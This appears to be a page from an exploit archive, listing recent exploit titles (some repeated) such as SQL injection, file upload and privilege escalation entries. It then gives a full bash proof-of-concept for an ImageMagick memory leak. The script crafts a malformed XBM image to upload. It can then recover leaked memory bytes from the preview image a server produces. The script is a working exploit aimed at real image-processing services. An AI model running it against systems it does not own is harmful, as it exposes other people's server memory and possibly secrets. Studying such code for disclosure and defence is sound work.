
4 changes to exploits/shellcodes macOS 10.13 - 'workq_kernreturn' Denial of Service (PoC) Qpopper 4.0.x - poppassd Privilege Escalation Qpopper 4.0.x - 'poppassd' Privilege Escalation HP-UX 11.0/11.11 - swxxx Privilege Escalation HP-UX 11.0/11.11 - 'swxxx' Privilege Escalation ABRT - raceabrt Privilege Escalation(Metasploit) ABRT - 'raceabrt' Privilege Escalation (Metasploit) ImageMagick - Memory Leak Microsoft Windows - DfMarshal Unsafe Unmarshaling Privilege Escalation Navetti PricePoint 4.6.0.0 - SQL Injection / Cross-Site Scripting / Cross-Site Request Forgery Kordil EDMS 2.2.60rc3 - Arbitrary File Upload Simple E-Document 1.31 - 'username' SQL Injection 2-Plan Team 1.0.4 - Arbitrary File Upload PHP Mass Mail 1.0 - Arbitrary File Upload WordPress Plugin Ninja Forms 3.3.17 - Cross-Site Scripting Warranty Tracking System 11.06.3 - 'txtCustomerCode' SQL Injection Helpdezk 1.1.1 - Arbitrary File Upload DomainMOD 4.11.01 - Cross-Site Scripting Kordil EDMS 2.2.60rc3 - Arbitrary File Upload Simple E-Document 1.31 - 'username' SQL Injection 2-Plan Team 1.0.4 - Arbitrary File Upload PHP Mass Mail 1.0 - Arbitrary File Upload WordPress Plugin Ninja Forms 3.3.17 - Cross-Site Scripting Warranty Tracking System 11.06.3 - 'txtCustomerCode' SQL Injection Helpdezk 1.1.1 - Arbitrary File Upload DomainMOD 4.11.01 - Cross-Site Scripting Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)
32 lines
No EOL
827 B
Bash
Executable file
32 lines
No EOL
827 B
Bash
Executable file
#!/bin/bash
|
|
|
|
help() {
|
|
echo "Usage poc generator: `basename $0` gen WIDTHxHEIGHT NAME.xbm [minimal]"
|
|
echo " Example gen: `basename $0` gen 512x512 poc.xbm"
|
|
echo "Usage result recovery: `basename $0` recover SAVED_PREVIEW.png|jpeg|gif|etc"
|
|
echo " Example recovery: `basename $0` recover avatar.png"
|
|
}
|
|
if [ "$1" == "-h" ]; then
|
|
help;
|
|
exit 0
|
|
fi
|
|
if [ "$1" == "gen" ]; then
|
|
echo "Generating..."
|
|
convert -size $2 xc:white $3
|
|
sed -i '0,/0x../s//0x80000001/' $3
|
|
if [ "$4" == "minimal" ]; then
|
|
echo "Shrink to minimal body size mode"
|
|
sed -i 's/0x00//g' $3
|
|
sed -i 's/,//g' $3
|
|
sed -i '/^\s*$/d' $3
|
|
fi
|
|
echo "Done"
|
|
exit 0
|
|
fi
|
|
if [ "$1" == "recover" ]; then
|
|
convert $2 temp.xbm
|
|
cat temp.xbm | grep -o '0x..' | xxd -r -p | strings -3
|
|
rm temp.xbm
|
|
exit 0
|
|
fi
|
|
help; |